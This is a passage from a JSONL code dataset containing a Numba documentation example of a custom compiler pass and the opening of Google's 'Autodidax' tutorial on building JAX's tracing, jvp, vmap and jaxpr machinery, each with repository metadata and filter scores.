"Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4882833952958347, "lm_q2_score": 0.13117322885652913, "lm_q1q2_score": 0.0640497095579836}}
{"text": "def ex_compiler_pass():\n\n    # magictoken.ex_compiler_pass.begin\n    from numba import njit\n    from numba import ir\n    from numba.compiler import CompilerBase, DefaultPassBuilder\n    from numba.compiler_machinery import FunctionPass, register_pass\n    from numba.untyped_passes import IRProcessing\n    from numbers import Number\n\n    # Register this pass with the compiler framework, declare that it will not\n    # mutate the control flow graph and that it is not an analysis_only pass (it\n    # potentially mutates the IR).\n    @register_pass(mutates_CFG=False, analysis_only=False)\n    class ConstsAddOne(FunctionPass):\n        _name = \"consts_add_one\" # the common name for the pass\n\n        def __init__(self):\n            FunctionPass.__init__(self)\n\n        # implement method to do the work, \"state\" is the internal compiler\n        # state from the CompilerBase instance.\n        def run_pass(self, state):\n            func_ir = state.func_ir # get the FunctionIR object\n            mutated = False # used to record whether this pass mutates the IR\n            # walk the blocks\n            for blk in func_ir.blocks.values():\n                # find the assignment nodes in the block and walk them\n                for assgn in blk.find_insts(ir.Assign):\n                    # if an assignment value is a ir.Consts\n                    if isinstance(assgn.value, ir.Const):\n                        const_val = assgn.value\n                        # if the value of the ir.Const is a Number\n                        if isinstance(const_val.value, Number):\n                            # then add one!\n                            const_val.value += 1\n                            mutated |= True\n            return mutated # return True if the IR was mutated, False if not.\n    # magictoken.ex_compiler_pass.end\n\n    # magictoken.ex_compiler_defn.begin\n    class MyCompiler(CompilerBase): # custom compiler extends from CompilerBase\n\n        def define_pipelines(self):\n            # define a new set of pipelines (just one in this case) and for ease\n            # base it on an existing pipeline from the DefaultPassBuilder,\n            # namely the \"nopython\" pipeline\n            pm = DefaultPassBuilder.define_nopython_pipeline(self.state)\n            # Add the new pass to run after IRProcessing\n            pm.add_pass_after(ConstsAddOne, IRProcessing)\n            # finalize\n            pm.finalize()\n            # return as an iterable, any number of pipelines may be defined!\n            return [pm]\n    # magictoken.ex_compiler_defn.end\n\n    # magictoken.ex_compiler_call.begin\n    @njit(pipeline_class=MyCompiler) # JIT compile using the custom compiler\n    def foo(x):\n        a = 10\n        b = 20.2\n        c = x + a + b\n        return c\n\n    print(foo(100)) # 100 + 10 + 20.2 (+ 1 + 1), extra + 1 + 1 from the rewrite!\n    # magictoken.ex_compiler_call.end\n\n    # magictoken.ex_compiler_timings.begin\n    compile_result = foo.overloads[foo.signatures[0]]\n    nopython_times = compile_result.metadata['pipeline_times']['nopython']\n    for k in nopython_times.keys():\n        if ConstsAddOne._name in k:\n            print(nopython_times[k])\n    # magictoken.ex_compiler_timings.end\n\n    assert foo(100) == 132.2\n\nex_compiler_pass()\n", "meta": {"hexsha": "224dba650fb423f638d89f24ffca2ccda922bd2e", "size": 3247, "ext": "py", "lang": "Python", "max_stars_repo_path": "docs/source/developer/compiler_pass_example.py", "max_stars_repo_name": "mawanda-jun/numba", "max_stars_repo_head_hexsha": "8c6658375c1f8fe50e1a5ccd11d4e7bf5a8053de", "max_stars_repo_licenses": ["BSD-2-Clause", "Apache-2.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2019-12-16T22:10:27.000Z", "max_stars_repo_stars_event_max_datetime": "2019-12-16T22:10:27.000Z", "max_issues_repo_path": "docs/source/developer/compiler_pass_example.py", "max_issues_repo_name": "mawanda-jun/numba", "max_issues_repo_head_hexsha": "8c6658375c1f8fe50e1a5ccd11d4e7bf5a8053de", "max_issues_repo_licenses": ["BSD-2-Clause", "Apache-2.0"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2019-02-11T13:46:30.000Z", "max_issues_repo_issues_event_max_datetime": "2019-02-11T13:46:30.000Z", "max_forks_repo_path": "docs/source/developer/compiler_pass_example.py", "max_forks_repo_name": "mawanda-jun/numba", "max_forks_repo_head_hexsha": "8c6658375c1f8fe50e1a5ccd11d4e7bf5a8053de", "max_forks_repo_licenses": ["BSD-2-Clause", "Apache-2.0"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2020-09-18T15:03:46.000Z", "max_forks_repo_forks_event_max_datetime": "2020-09-18T15:03:46.000Z", "avg_line_length": 41.1012658228, "max_line_length": 80, "alphanum_fraction": 0.6325839236, "include": true, "reason": "from numba", "num_tokens": 737, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.46879062662624377, "lm_q2_score": 0.13660840408654293, "lm_q1q2_score": 0.06404073935414158}}
{"text": "# ---\n# Copyright 2021 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# jupyter:\n#   jupytext:\n#     formats: ipynb,md:myst,py\n#     text_representation:\n#       extension: .py\n#       format_name: light\n#       format_version: '1.5'\n#       jupytext_version: 1.10.0\n#   kernelspec:\n#     display_name: Python 3\n#     name: python3\n# ---\n\n# # Autodidax: JAX core from scratch\n#\n# Ever want to learn how JAX works, but the implementation seemed too\n# impenetrable? Well, you're in luck! By reading this tutorial, you'll learn\n# every big idea in JAX's core system. You'll even get clued into our weird\n# jargon!\n\n# ## Part 1: Transformations as interpreters: standard evaluation, `jvp`, and `vmap`\n#\n# We want to transform functions that look like this:\n#\n# ```python\n# def f(x):\n#   y = sin(x) * 2\n#   z = - y + x\n#   return z\n# ```\n#\n# Think of functions like `sin` and the arithmetic operations underlying the\n# infix operators (`mul`, `add`, and `neg`) as primitive operations, meaning\n# atomic units of processing rather than compositions.\n#\n# \"Transform\" means \"interpret differently.\" Instead of standard interpretation\n# where we apply primitive functions to numerical inputs to produce numerical\n# outputs, we want to override primitive application and let different values\n# flow through our program. For example, we might want to replace the\n# application of every primitive with an application of [its JVP\n# rule](https://jax.readthedocs.io/en/latest/notebooks/autodiff_cookbook.html),\n# and let primal-tangent pairs flow through our program. Moreover, we want to\n# apply a composition of multiple transformations, leading to stacks of\n# interpreters.\n\n# ### JAX core machinery\n#\n# We can implement stacks of interpreters and even have them all discharge on\n# the fly as we execute the Python function to be transformed. To start, let's\n# define these primitives so that we can intercept their application:\n\n\n# +\nfrom typing import NamedTuple\n\nclass Primitive(NamedTuple):\n  name: str\n\nadd_p = Primitive('add')\nmul_p = Primitive('mul')\nneg_p = Primitive(\"neg\")\nsin_p = Primitive(\"sin\")\ncos_p = Primitive(\"cos\")\nreduce_sum_p = Primitive(\"reduce_sum\")\ngreater_p = Primitive(\"greater\")\n\ndef add(x, y): return bind(add_p, x, y)\ndef mul(x, y): return bind(mul_p, x, y)\ndef neg(x): return bind(neg_p, x)\ndef sin(x): return bind(sin_p, x)\ndef cos(x): return bind(cos_p, x)\ndef reduce_sum(x, axis=None): return bind(reduce_sum_p, x, axis=axis)\ndef greater(x, y): return bind(greater_p, x, y)\n\n\n# -\n\n# We'll set up array data types and infix operator methods in a moment.\n#\n# A `Primitive` is just an object with a name, to which we attach our\n# interpretation rules (one for each transformation). The `bind` function is our\n# interception point: it'll figure out which transformation rule to apply, based\n# on how the arguments are boxed in tracers and what interpreters are active.\n#\n# The functions that user code calls, like `add` and `sin`, are just wrappers\n# around calls to `bind`. These wrappers let us control how arguments are passed\n# to `bind`, and in particular we follow a handy internal convention: when we\n# call `bind`, we pass values representing array data as positional arguments,\n# and we pass metadata like the `axis` argument to `sum_p` via keyword. This\n# calling convention simplifies some core logic (since e.g. instances of the\n# `Tracer` class to be defined below can only occurr in positional arguments to\n# `bind`). The wrappers can also provide docstrings!\n#\n# We represent active interpreters as a stack. The stack is just a simple\n# `list`, and each element is a container with an integer level (corresponding\n# to the element's height in the stack), an interpreter type (which we'll call a\n# `trace_type`), and an optional field for any global data the interpreter\n# needs. We call each element a `MainTrace`, though maybe \"Interpreter\" would be\n# more descriptive.\n\n# +\nfrom contextlib import contextmanager\nfrom typing import Type, List, Optional, Any\n\nclass MainTrace(NamedTuple):\n  level: int\n  trace_type: Type['Trace']\n  global_data: Optional[Any]\n\ntrace_stack: List[MainTrace] = []\n\n@contextmanager\ndef new_main(trace_type: Type['Trace'], global_data=None):\n  level = len(trace_stack)\n  main = MainTrace(level, trace_type, global_data)\n  trace_stack.append(main)\n\n  try:\n    yield main\n  finally:\n    trace_stack.pop()\n\n\n# -\n\n# When we're about to apply a transformed function, we'll push another\n# interpreter onto the stack using `new_main`. Then, as we apply primitives in\n# the function, we can think of the `bind` first being interpreted by the trace\n# at the top of the stack (i.e. with the highest level). If that first\n# interpreter itself binds other primitives in its interpretation rule for the\n# primitive, like how the JVP rule of `sin_p` might bind `cos_p` and `mul_p`,\n# then those `bind` calls will be handled by the interpreter at the next level\n# down.\n#\n# What goes at the bottom of the interpreter stack? At the bottom, we know all\n# the transformation interpreters are finished, and we just want to do standard\n# evaluation. So at the bottom we'll put an evaluation interpreter.\n#\n# Let's sketch out the interface for interpreters, which is based on the `Trace`\n# and `Tracer` base classes. A `Tracer` represents a boxed-up value, perhaps\n# carrying some extra context data used by the interpreter. A `Trace` handles\n# boxing up vales into `Tracers` and also handles primitive application.\n\nclass Trace:\n  main: MainTrace\n\n  def __init__(self, main: MainTrace) -> None:\n    self.main = main\n\n  def pure(self, val): assert False  # must override\n  def lift(self, val): assert False  # must override\n\n  def process_primitive(self, primitive, tracers, params):\n    assert False  # must override\n\n\n# The first two methods are about boxing up values in `Tracer`s, which are the\n# objects that flow through the Python programs we transform. The last method is\n# the callback we'll use to interpret primitive application.\n#\n# The `Trace` itself doesn't contain any data, other than a reference to its\n# corresponding `MainTrace` instance. In fact, multiple instances of a `Trace`\n# might be created and discarded during an application of a transformation,\n# whereas only a single `MainTrace` instance is created per application of a\n# transformation.\n#\n# As for `Tracer`s themselves, each one carries an abstract value (and forwards\n# infix operators to it), and the rest is up to the transformation. (The\n# relationship between `Tracer`s and `AbstractValue`s is that there's one\n# `Tracer` per transformation, and at least one `AbstractValue` per base type,\n# like arrays.)\n\n# +\nimport numpy as np\nfrom typing import Tuple\n\nclass Tracer:\n  _trace: Trace\n\n  __array_priority__ = 1000\n\n  @property\n  def aval(self):\n    assert False  # must override\n\n  def full_lower(self):\n    return self  # default implementation\n\n  def __neg__(self): return self.aval._neg(self)\n  def __add__(self, other): return self.aval._add(self, other)\n  def __radd__(self, other): return self.aval._radd(self, other)\n  def __mul__(self, other): return self.aval._mul(self, other)\n  def __rmul__(self, other): return self.aval._rmul(self, other)\n  def __gt__(self, other): return self.aval._gt(self, other)\n  def __bool__(self): return self.aval._bool(self)\n  def __nonzero__(self): return self.aval._nonzero(self)\n\n  def __getattr__(self, name):\n    try:\n      return getattr(self.aval, name)\n    except AttributeError:\n      raise AttributeError(f\"{self.__class__.__name__} has no attribute {name}\")\n\nclass ShapedArray:\n  array_abstraction_level = 1\n  shape: Tuple[int]\n  dtype: np.dtype\n\n  def __init__(self, shape, dtype):\n    self.shape = shape\n    self.dtype = dtype\n\n  @property\n  def ndim(self):\n    return len(self.shape)\n\n  _neg = staticmethod(neg)\n  _add = staticmethod(add)\n  _radd = staticmethod(add)\n  _mul = staticmethod(mul)\n  _rmul = staticmethod(mul)\n  _gt = staticmethod(greater)\n\n  @staticmethod\n  def _bool(tracer):\n    raise Exception(\"ShapedArray can't be unambiguously converted to bool\")\n\n  @staticmethod\n  def _nonzero(tracer):\n    raise Exception(\"ShapedArray can't be unambiguously converted to bool\")\n\n  def str_short(self):\n    return f'{self.dtype.name}[{\",\".join(str(d) for d in self.shape)}]'\n\nclass ConcreteArray(ShapedArray):\n  array_abstraction_level = 2\n  val: np.ndarray\n\n  def __init__(self, val):\n    self.val = val\n    self.shape = val.shape\n    self.dtype = val.dtype\n\n  @staticmethod\n  def _bool(tracer):\n    return bool(tracer.aval.val)\n\n  @staticmethod\n  def _nonzero(tracer):\n    return bool(tracer.aval.val)\n\ndef get_aval(x):\n  if isinstance(x, Tracer):\n    return x.aval\n  else:\n    return ConcreteArray(np.asarray(x))\n\n\n# -\n\n# Notice that we actually have two `AbstractValue`s for arrays, representing\n# different levels of abstraction. A `ShapedArray` represents the set of all\n# possible arrays with a given shape and dtype. A `ConcreteArray` represents a\n# singleton set consisting of a single array value.\n#\n# Now that we've set up the trace stack, the Trace/Tracer API for interpreters,\n# and abstract values, we can come back to implement `bind`:\n\ndef bind(prim, *args, **params):\n  top_trace = find_top_trace(args)\n  tracers = [full_raise(top_trace, arg) for arg in args]\n  out = top_trace.process_primitive(prim, tracers, params)\n  return full_lower(out)\n\n\n# The main action is that we call `find_top_trace` to figure out which\n# interpreter should handle this primitive application as a function of the\n# arguments and the active traces on the trace stack. We then call that top\n# trace's `process_primitive` so that the trace can apply its interpretation\n# rule. The calls to `full_raise` just ensure that the inputs are boxed in the\n# top trace's `Tracer` instances, and the call to `full_lower` is an optional\n# optimization so that we unbox values out of `Tracer`s as much as possible.\n\n# +\nfrom operator import attrgetter\n\ndef find_top_trace(xs) -> Trace:\n  top_main = max((x._trace.main for x in xs if isinstance(x, Tracer)),\n                 default=trace_stack[0], key=attrgetter('level'))\n  return top_main.trace_type(top_main)\n\n\n# -\n\n# In words, `find_top_trace` returns the highest-level interpreter associated\n# with the `Tracer`s on its inputs, and otherwise returns the interpreter at the\n# bottom of the stack (which is always an evaluation trace, at least for now).\n# This corresponds to JAX transformations mostly working by data dependence\n# _except_ for the special bottom-of-the-stack interpreter, which interprets\n# everything.\n\n# +\ndef full_lower(val):\n  if isinstance(val, Tracer):\n    return val.full_lower()\n  else:\n    return val\n\ndef full_raise(trace, val) -> Tracer:\n  if not isinstance(val, Tracer):\n    return trace.pure(val)\n  level = trace.main.level\n  if val._trace.main is trace.main:\n    return val\n  elif val._trace.main.level < level:\n    return trace.lift(val)\n  elif val._trace.main.level > level:\n    raise Exception(f\"Can't lift level {val._trace.main.level} to {level}.\")\n  else:  # val._trace.level == level\n    raise Exception(f\"Different traces at same level: {val._trace}, {trace}.\")\n\n\n# -\n\n# The logic in `full_raise` serves to box values into `Tracer`s for a particular\n# `Trace`, calling different methods on the `Trace` based on context:\n# `Trace.pure` is called on non-`Tracer` constants, and `Trace.lift` is called\n# for values that are already `Tracer`s from a lower-level interpreter. These\n# two methods could share the same implementation, but by distinguishing them in\n# the core logic we can provide more information to the `Trace` subclass.\n#\n# That's it for the JAX core! Now we can start adding interpreters.\n\n# ### Evaluation interpreter\n#\n# We'll start with the simplest interpreter: the evaluation interpreter that\n# will sit at the bottom of the interpreter stack.\n\n# +\nclass EvalTrace(Trace):\n  pure = lift = lambda self, x: x  # no boxing in Tracers needed\n\n  def process_primitive(self, primitive, tracers, params):\n    return impl_rules[primitive](*tracers, **params)\n\ntrace_stack.append(MainTrace(0, EvalTrace, None))  # special bottom of the stack\n\nimpl_rules = {}\nimpl_rules[add_p] = np.add\nimpl_rules[mul_p] = np.multiply\nimpl_rules[neg_p] = np.negative\nimpl_rules[sin_p] = np.sin\nimpl_rules[cos_p] = np.cos\nimpl_rules[reduce_sum_p] = np.sum\nimpl_rules[greater_p] = np.greater\n\n\n# -\n\n# With this interpreter, we can evaluate user functions:\n\n# +\ndef f(x):\n  y = sin(x) * 2\n  z = - y + x\n  return z\n\nprint(f(3.0))\n\n\n# -\n\n# Woo! Like going around in a big circle. But the point of this indirection is\n# that now we can add some real transformations.\n\n# ### Forward-mode autodiff with `jvp`\n#\n# First, a couple of helper functions:\n\n# +\ndef zeros_like(val):\n  return np.zeros_like(val)\n\ndef unzip2(pairs):\n  lst1, lst2 = [], []\n  for x1, x2 in pairs:\n    lst1.append(x1)\n    lst2.append(x2)\n  return lst1, lst2\n\n\n# -\n\n# The `Tracer` for forward-mode autodiff carries a primal-tangent pair. The\n# `Trace` applies JVP rules.\n\n# +\nclass JVPTracer(Tracer):\n  def __init__(self, trace, primal, tangent):\n    self._trace = trace\n    self.primal = primal\n    self.tangent = tangent\n\n  @property\n  def aval(self):\n    return get_aval(self.primal)\n\nclass JVPTrace(Trace):\n  pure = lift = lambda self, val: JVPTracer(self, val, zeros_like(val))\n\n  def process_primitive(self, primitive, tracers, params):\n    primals_in, tangents_in = unzip2((t.primal, t.tangent) for t in tracers)\n    jvp_rule = jvp_rules[primitive]\n    primal_out, tangent_out = jvp_rule(primals_in, tangents_in, **params)\n    return JVPTracer(self, primal_out, tangent_out)\n\njvp_rules = {}\n\n\n# -\n\n# Notice both `lift` and `sublift` package a value into a `JVPTracer` with the\n# minimal amount of context, which is a zero tangent value.\n\n# Let's add some JVP rules for primitives:\n\n# +\ndef add_jvp(primals, tangents):\n  (x, y), (x_dot, y_dot) = primals, tangents\n  return x + y, x_dot + y_dot\njvp_rules[add_p] = add_jvp\n\ndef mul_jvp(primals, tangents):\n  (x, y), (x_dot, y_dot) = primals, tangents\n  return x * y, x_dot * y + x * y_dot\njvp_rules[mul_p] = mul_jvp\n\ndef sin_jvp(primals, tangents):\n  (x,), (x_dot,) = primals, tangents\n  return sin(x), cos(x) * x_dot\njvp_rules[sin_p] = sin_jvp\n\ndef cos_jvp(primals, tangents):\n  (x,), (x_dot,) = primals, tangents\n  return cos(x), -sin(x) * x_dot\njvp_rules[cos_p] = cos_jvp\n\ndef neg_jvp(primals, tangents):\n  (x,), (x_dot,) = primals, tangents\n  return neg(x), neg(x_dot)\njvp_rules[neg_p] = neg_jvp\n\ndef reduce_sum_jvp(primals, tangents, *, axis):\n  (x,), (x_dot,) = primals, tangents\n  return reduce_sum(x, axis), reduce_sum(x_dot, axis)\njvp_rules[reduce_sum_p] = reduce_sum_jvp\n\ndef greater_jvp(primals, tangents):\n  (x, y), _ = primals, tangents\n  out_primal = greater(x, y)\n  return out_primal, zeros_like(out_primal)\njvp_rules[greater_p] = greater_jvp\n\n\n# -\n\n# Finally, we add a transformation API to kick off the trace:\n\ndef jvp(f, primals, tangents):\n  with new_main(JVPTrace) as main:\n    trace = JVPTrace(main)\n    tracers_in = [JVPTracer(trace, x, t) for x, t in zip(primals, tangents)]\n    out = f(*tracers_in)\n    tracer_out = full_raise(trace, out)\n    primal_out, tangent_out = tracer_out.primal, tracer_out.tangent\n  return primal_out, tangent_out\n\n\n# And with that, we can differentiate!\n\nx = 3.0\ny, sin_deriv_at_3 = jvp(sin, (x,), (1.0,))\nprint(sin_deriv_at_3)\nprint(cos(3.0))\n\n\n# +\ndef f(x):\n  y = sin(x) * 2\n  z = - y + x\n  return z\n\nx, xdot = 3., 1.\ny, ydot = jvp(f, (x,), (xdot,))\nprint(y)\nprint(ydot)\n\n\n# +\ndef deriv(f):\n  return lambda x: jvp(f, (x,), (1.,))[1]\n\nprint(deriv(sin)(3.))\nprint(deriv(deriv(sin))(3.))\nprint(deriv(deriv(deriv(sin)))(3.))\nprint(deriv(deriv(deriv(deriv(sin))))(3.))\n\n\n# +\ndef f(x):\n  if x > 0.:  # Python control flow\n    return 2. * x\n  else:\n    return x\n\nprint(deriv(f)(3.))\nprint(deriv(f)(-3.))\n\n\n# -\n\n# ### Vectorized batching with `vmap`\n#\n# First, a couple helper functions, one for producing mapped abstract values\n# from unmapped ones (by removing an axis), and one for moving batch dimensions\n# around:\n\n# +\ndef mapped_aval(batch_dim, aval):\n  shape = list(aval.shape)\n  del shape[batch_dim]\n  return ShapedArray(tuple(shape), aval.dtype)\n\ndef move_batch_axis(axis_size, src, dst, x):\n  if src is not_mapped:\n    target_shape = list(np.shape(x))\n    target_shape.insert(dst, axis_size)\n    return np.broadcast_to(np.expand_dims(x, dst), target_shape)\n  else:\n    return np.moveaxis(x, src, dst)\n\n\n# -\n\n# The `Tracer` for vectorized batching carries a batched value and an optional\n# integer indicating which axis (if any) is the batch axis.\n\n# +\nfrom typing import Union\n\nclass NotMapped: pass\nnot_mapped = NotMapped()\n\nclass BatchTracer(Tracer):\n  def __init__(self, trace, val, batch_dim: Union[NotMapped, int]):\n    self._trace = trace\n    self.val = val\n    self.batch_dim = batch_dim\n\n  @property\n  def aval(self):\n    if self.batch_dim is not_mapped:\n      return get_aval(self.val)\n    else:\n      return mapped_aval(self.batch_dim, get_aval(self.val))\n\n  def full_lower(self):\n    if self.batch_dim is not_mapped:\n      return full_lower(self.val)\n    else:\n      return self\n\nclass BatchTrace(Trace):\n  pure = lift = lambda self, val: BatchTracer(self, val, not_mapped)\n\n  def process_primitive(self, primitive, tracers, params):\n    vals_in, bdims_in = unzip2((t.val, t.batch_dim) for t in tracers)\n    vmap_rule = vmap_rules[primitive]\n    val_out, bdim_out = vmap_rule(self.axis_size, vals_in, bdims_in, **params)\n    return BatchTracer(self, val_out, bdim_out)\n\n  @property\n  def axis_size(self):\n    return self.main.global_data\n\nvmap_rules = {}\n# -\n\n# Here we've implemented the optional `Tracer.full_lower` method, which lets us\n# peel off a batching tracer if it's not needed because it doesn't represent a\n# batched value.\n#\n# For `BatchTrace`, analogous to `JVPTrace`, the methods `pure` and `lift` just\n# box a value in a `BatchTracer` with the minimal amount of context, which in\n# this case is a `batch_dim` taking the sentinel value `not_mapped`. Notice we\n# use the `MainTrace`'s interpreter-global data field to store the batch axis\n# size.\n#\n# Next we can define batching interpreter rules for each primitive:\n\n# +\nfrom functools import partial\n\ndef broadcasting_binop_batching_rule(op, axis_size, vals_in, dims_in):\n  (x, y), (x_bdim, y_bdim) = vals_in, dims_in\n  if x_bdim != y_bdim:\n    y = move_batch_axis(axis_size, y_bdim, x_bdim, y)\n  return op(x, y), x_bdim\nvmap_rules[add_p] = partial(broadcasting_binop_batching_rule, add)\nvmap_rules[mul_p] = partial(broadcasting_binop_batching_rule, mul)\n\ndef vectorized_unop_batching_rule(op, axis_size, vals_in, dims_in):\n  (x,), (x_bdim,) = vals_in, dims_in\n  return op(x), x_bdim\nvmap_rules[sin_p] = partial(vectorized_unop_batching_rule, sin)\nvmap_rules[cos_p] = partial(vectorized_unop_batching_rule, cos)\nvmap_rules[neg_p] = partial(vectorized_unop_batching_rule, neg)\n\ndef reduce_sum_batching_rule(axis_size, vals_in, dims_in, *, axis):\n  (x,), (x_bdim,) = vals_in, dims_in\n  new_axis = axis + (x_bdim <= axis)\n  out_bdim = x_bdim - (new_axis < x_bdim)\n  return reduce_sum(x, new_axis), out_bdim\nvmap_rules[reduce_sum_p] = reduce_sum_batching_rule\n\n\n# -\n\n# Finally, we add a transformation API to kick off the trace:\n\ndef vmap(f, in_axes, out_axis):\n  def batched_f(*args):\n    axis_size, = {x.shape[ax] for x, ax in zip(args, in_axes)\n                  if ax is not None}\n    with new_main(BatchTrace, axis_size) as main:\n      trace = BatchTrace(main)\n      tracers_in = [BatchTracer(trace, x, ax) if ax is not None else x\n                    for x, ax in zip(args, in_axes)]\n      out = f(*tracers_in)\n      tracer_out = full_raise(trace, out)\n      val_out, batch_dim_out = tracer_out.val, tracer_out.batch_dim\n    return move_batch_axis(axis_size, batch_dim_out, out_axis, val_out)\n  return batched_f\n\n\n# +\ndef add_one_to_a_scalar(scalar):\n  assert np.ndim(scalar) == 0\n  return 1 + scalar\n\nvector_in = np.arange(3.)\nvector_out = vmap(add_one_to_a_scalar, (0,), 0)(vector_in)\n\nprint(vector_in)\nprint(vector_out)\n\n\n# +\ndef jacfwd(f, x):\n  pushfwd = lambda v: jvp(f, (x,), (v,))[1]\n  vecs_in = np.eye(np.size(x)).reshape(np.shape(x) * 2)\n  return vmap(pushfwd, (0,), 0)(vecs_in)\n\ndef f(x):\n  return sin(x)\n\njacfwd(f, np.arange(3.))\n# -\n\n# That's it for `jvp` and `vmap`! Before moving on, let's highlight a few\n# simplifications in what we've seen so far compared to the full JAX\n# implementation:\n# 1. **Fewer, simpler primitives.** More primitives means more interpretation\n# rules, and for more complex primitives (like for convolution or advanced\n# indexing) each rule is harder to write. But the overarching design is no\n# different.\n# 1. **Transformations expect arrays in, single array out.**\n# 2. **No symbolic zeros in autodiff.**\n# 3. **No special call primitives yet.** The core machinery needs to be\n#     generalized to handle the most flexible kind of higher-order primitive,\n#     used by `jax.custom_jvp` and `jax.custom_vjp`.\n\n# ## Part 2: Jaxprs, for `jit` and `vjp`\n#\n# The next transformations are the horizon are `jit` for just-in-time\n# compilation and `vjp` for reverse-mode autodiff.  (`grad` is just a small\n# wrapper around `vjp`.) For `jvp` and `vmap` we only needed each `Tracer` to\n# carry a little    bit of extra context, but for both `jit` and `vjp` we need\n# much richer context: we need to represent _programs_. That is, we need jaxprs!\n#\n# Jaxprs are JAX's internal intermediate representation of programs. Jaxprs are\n# an explicitly typed, functional, first-order language. We need a program\n# representation for `jit` because the purpose of `jit` is to stage computation\n# out of Python. For any computation we want to stage out, we need to be able to\n# represent it as data, and build it up as we trace a Python function.\n# Similarly, `vjp` needs a way to represent the computation for the backward\n# pass of reverse-mode autodiff. We use the same jaxpr program representation\n# for both needs.\n#\n# (Building a program representation is the most\n# [free](https://en.wikipedia.org/wiki/Free_object) kind of\n# trace- transformation, and so except for issues around handling native Python\n# control flow, any transformation could be implemented by first tracing to a\n# jaxpr and then interpreting the jaxpr.)\n#\n# The jaxpr term syntax is roughly:\n#\n# ```\n# jaxpr ::=\n#   { lambda <binder> , ... .\n#     let <eqn>\n#         ...\n#     in <atom> }\n#\n# binder ::= <var>:<array_type>\n# var ::= a | b | c | ...\n# atom ::= <var> | <literal>\n# literal ::= <int32> | <float32>\n#\n# eqn ::= <binder> = <primitive> [ <params> ] <atom> , ...\n# ```\n#\n# The syntax of types is:\n#\n# ```\n# jaxpr_type ::= [<array_type>, ...] -> [<array_type>, ...]\n# array_type ::= <dtype>[<shape>]\n# dtype ::= f32 | f64 | i32 | i64\n# shape ::= <int> , ...\n# ```\n#\n# How do we represent these as Python data structures? We reuse ShapedArrays to\n# represent types, and we can represent the term syntax with a few Python\n# structs:\n\n# +\nfrom typing import Dict, Set\n\nclass Var:\n  aval: ShapedArray\n  def __init__(self, aval): self.aval = aval\n\nclass Lit:\n  val: Any\n  aval: ShapedArray\n\n  def __init__(self, val):\n    self.val = val\n    self.aval = raise_to_shaped(get_aval(self.val))\n\nAtom = Union[Var, Lit]\n\nclass JaxprEqn(NamedTuple):\n  primitive: Primitive\n  inputs: List[Atom]\n  params: Dict[str, Any]\n  out_binder: Var\n\nclass Jaxpr(NamedTuple):\n  in_binders: List[Var]\n  eqns: List[JaxprEqn]\n  out: Atom\n\n\ndef raise_to_shaped(aval):\n  return ShapedArray(aval.shape, aval.dtype)\n\n\n# +\nclass JaxprType:\n  in_types: List[ShapedArray]\n  out_type: ShapedArray\n\n  def __init__(self, in_types, out_type):\n    self.in_types = in_types\n    self.out_type = out_type\n\n  def __repr__(self):\n    in_types = ', '.join(aval.str_short() for aval in self.in_types)\n    out_type = self.out_type.str_short()\n    return f'({in_types}) -> {out_type}'\n\n\ndef typecheck_jaxpr(jaxpr: Jaxpr) -> JaxprType:\n  env: Set[Var] = set()\n\n  for v in jaxpr.in_binders:\n    env.add(v)\n\n  for eqn in jaxpr.eqns:\n    in_types = [typecheck_atom(env, x) for x in eqn.inputs]\n    out_type = abstract_eval_rules[eqn.primitive](*in_types, **eqn.params)\n    if not types_equal(out_type, eqn.out_binder.aval): raise TypeError\n    env.add(eqn.out_binder)\n\n  out_type = typecheck_atom(env, jaxpr.out)\n  return JaxprType([v.aval for v in jaxpr.in_binders], out_type)\n\ndef typecheck_atom(env: Set[Var], x: Atom) -> ShapedArray:\n  if isinstance(x, Var):\n    if x not in env: raise TypeError(\"unbound variable\")\n    return x.aval\n  elif isinstance(x, Lit):\n    return raise_to_shaped(get_aval(x.val))\n  else:\n    assert False\n\ndef types_equal(a: ShapedArray, b: ShapedArray) -> bool:\n  return a.shape == b.shape and a.dtype == b.dtype\n\n\n# -\n\n# Now that we have jaxprs as a data structure, we need ways to produce these\n# from tracing Python code. In general there are two variants of how we trace to\n# a jaxpr; `jit` uses one and `vjp` uses the other. We'll start with the one\n# used   by `jit`, which is also used by control flow primitives like\n# `lax.cond`, `lax.while_loop`, and `lax.scan`.\n\n# +\n# NB: the analogous class in JAX is called 'DynamicJaxprTracer'\nclass JaxprTracer(Tracer):\n  __slots__ = ['aval']\n  aval: ShapedArray\n\n  def __init__(self, trace, aval):\n    self._trace = trace\n    self.aval = aval\n\n# NB: the analogous class in JAX is called 'DynamicJaxprTrace'\nclass JaxprTrace(Trace):\n  def new_arg(self, aval: ShapedArray) -> JaxprTracer:\n    aval = raise_to_shaped(aval)\n    tracer = JaxprTracer(self, aval)\n    self.builder.tracer_to_var[id(tracer)] = Var(aval)\n    return tracer\n\n  def get_or_make_const_tracer(self, val: Any) -> JaxprTracer:\n    tracer = self.builder.const_tracers.get(id(val))\n    if tracer is None:\n      tracer = JaxprTracer(self, raise_to_shaped(get_aval(val)))\n      self.builder.add_const(tracer, val)\n    return tracer\n  pure = lift = get_or_make_const_tracer\n\n  def process_primitive(self, primitive, tracers, params):\n    avals_in = [t.aval for t in tracers]\n    aval_out = abstract_eval_rules[primitive](*avals_in, **params)\n    out_tracer = JaxprTracer(self, aval_out)\n    inputs = [self.builder.getvar(t) for t in tracers]\n    outvar = self.builder.add_var(out_tracer)\n    self.builder.add_eqn(JaxprEqn(primitive, inputs, params, outvar))\n    return out_tracer\n\n  @property\n  def builder(self):\n    return self.main.global_data\n\n# NB: in JAX, instead of a dict we attach impl rules to the Primitive instance\nabstract_eval_rules = {}\n\n\n# -\n\n# Notice that we keep as interpreter-global data a builder object, which keeps\n# track of variables, constants, and eqns  as we build up the jaxpr.\n\nclass JaxprBuilder:\n  eqns: List[JaxprEqn]\n  tracer_to_var: Dict[int, Var]\n  const_tracers: 